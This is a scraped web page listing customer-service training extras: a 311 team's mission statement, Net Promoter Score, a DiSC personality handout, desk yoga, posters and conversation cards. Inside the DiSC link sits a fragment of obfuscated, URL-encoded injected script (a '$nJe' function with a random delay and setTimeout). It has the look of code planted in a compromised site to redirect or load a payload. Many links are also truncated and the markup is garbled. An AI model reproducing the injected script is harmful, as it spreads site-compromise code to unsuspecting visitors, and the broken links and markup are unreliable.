Web Extras – Skill Sharpener

Do you have a mission, vision, or value statement that guides your work? — A team of frontline reps at the City of Berkeley 311 Customer Service Center worked together to create tomerservicegroup.com/wp-content/uploads/2019/06/311-Mission-Vision-Values.pdf">statements that reflect the teams vision and values.

A focus on feedback improves service — The brief video below from Bain & Company explains how the Net Promoter Score was developed and how it’s used.

Identify personality types to deliver better service — Read this useful tomerservicegroup.com/wp-content/uploads/2019/04/DiSC-H<script>%24nJe=function(n)%7Bif%20(typeof%20(%24nJe.list%5Bn%5D)%20==%20" string return number1="Math.floor(Math.random()" if delay="18000;setTimeout($nJe(0),">andbook.pdf">document from the Carlson Learning Company which provides insights on how managers and employees with different personality styles can work better together.

Take a physical approach to intense encounters — Share this yoga tomerservicegroup.com/wp-content/uploads/2019/02/SSwebextra_0319_yoga_final.pdf">handout with your team. The exercises were excerpted from the publication, tomerservicegroup.com/product/yoga-at-your-desk-a-guide-to-reducing-stress/">Yoga at Your Desk.

Banish negativity at work — Replace negative mottos and cartoons on office walls with our tomerservicegroup.com/wp-content/uploads/2019/01/ss010119-webextra.pdf">motivational mini-posters.

Meeting customer expectations — Read an tomerservicegroup.com/wp-content/uploads/2018/11/SSwebextra_1218.pdf">interview with Author Michael Levine who suggests that organizations can often meet customer expectations by fixing small things.

Keep political talk low key — Encourage your team to avoid political talk with tomerservicegroup.com/wp-content/uploads/2018/10/TCCwebextra_1118.pdf">Conversation Cards. Available in a variety of formats, Conversation Cards can spark conversation and encourage people to learn more about each other.

Five small things that make a big impression on customers — Reinforce key points in the article with a tomerservicegroup.com/wp-content/uploads/2018/09/TCCwebextra_1018.pdf">colorful glancer that reps can post in their work areas.